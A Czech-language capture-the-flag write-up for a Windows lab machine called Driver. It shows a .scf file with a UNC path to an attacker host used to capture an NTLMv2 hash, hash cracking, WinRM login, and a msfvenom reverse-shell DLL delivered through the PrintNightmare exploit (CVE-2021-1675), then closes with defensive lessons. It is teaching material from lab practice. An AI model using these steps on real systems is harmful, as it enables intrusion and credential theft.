Driver
Úvod a kontext
Driver kombinuje dva velmi praktické Windows problémy: nedbalé zacházení se soubory v interním webu a následné zneužití PrintNightmare. První foothold nevzniká z přímého exploitu na IIS, ale z vynucení SMB autentizace přes .scf soubor nahraný do firmware portálu.
Jakmile hash účtu tony padne na liltony, otevře se WinRM a zbytek řetězce je už čistě lokální Windows práce. Pro root pak stačí připravit škodlivou DLL a doručit ji přes CVE-2021-1675 do spooleru.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h03m34s, deviation: 0s, median: 7h03m33s
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-10-29T05:17:47
|_ start_date: 2021-10-28T20:05:05
Firmware portál a vynucení SMB autentizace
Firmware update centrum na :80 používá Basic Auth a výchozí přihlašovací údaje admin/admin. Po přihlášení stačí nahrát .scf soubor s UNC cestou na útočníkův SMB share. Windows si při zobrazení ikony sáhne pro random.ico a Responder zachytí NTLMv2 hash účtu tony.
admin/admin
[Shell]
Command=2
IconFile=\\10.10.14.11\share\random.ico
[Taskbar]
Command=ToggleDesktop
responder -wrf -I tun0
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash : tony::DRIVER:d83785f50d91b47a:70DB9BE5D10DA36D95BA553E2861E626:...
Analýza zjištění
Prolomení hashe a ověření účtu tony
U zachyceného NTLMv2 hashe má offline cracking okamžitou hodnotu, protože WinRM je zvenku dostupný. Tady hash padne na liltony, takže další krok je jasný.
hashcat -a 0 -m 5600 hash /usr/share/wordlists/rockyou.txt
=> liltony
Získání přístupu
WinRM jako tony
Jakmile heslo funguje, WinRM je nejčistší způsob další práce. SMB enumerace už splnila účel a není důvod zůstávat u nepohodlného bočního kanálu.
evil-winrm -u tony -p liltony -i 10.10.11.106
Získání user flagu
user.txt tady potvrzuje, že zachycený a cracknutý hash skutečně vedl k interaktivnímu účtu tony na hostu.
cat user.txt
__CENSORED__
Eskalace oprávnění
PrintNightmare přes škodlivou DLL
Driver běží na systému zranitelném vůči CVE-2021-1675. Po získání WinRM stačí připravit škodlivou DLL, vystavit ji přes SMB share a přimět spooler, aby ji načetl. Tady je důležité, že root/admin část nevyžaduje další heslo, ale zneužití služby s vyššími právy.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=4000 -f dll > rev64.dll
impacket-smbserver data .
python3 CVE-2021-1675.py tony:liltony@10.10.11.106 '\\10.10.14.11\data\rev64.dll'
Získání root flagu
Jakmile spooler DLL načte, otevře se shell s vyššími právy a root.txt je už jen potvrzením úspěšné eskalace.
more root.txt
__CENSORED__
Shrnutí klíčových poznatků
- První foothold stál na výchozích přihlašovacích údajích
admin/admina.scfsouboru, který vynutil SMB autentizaci účtutony. - Uživatelský shell vznikl z cracknutého NTLMv2 hashe
tonya přihlášení přes WinRM s heslemliltony. - Root/admin část stála na
CVE-2021-1675 / PrintNightmarea načtení útočníkovy DLL přes spooler.
Co si odnést do praxe
- Interní weby a firmware portály nesmějí zůstávat na výchozích přihlašovacích údajích. V Driver právě
admin/adminotevřelo cestu k nahrání souboru, který spustil celý útok. - Souborové formáty jako
.scfje potřeba při uploadu explicitně blokovat. I bez přímého RCE dokážou vynutit odchozí SMB autentizaci a vydat hash doménového nebo lokálního účtu. - Spooler a Point-and-Print chyby je potřeba brát jako kritické. Jakmile má útočník běžný uživatelský shell na Windows hostu, PrintNightmare velmi rychle zavře zbytek cesty k
SYSTEM.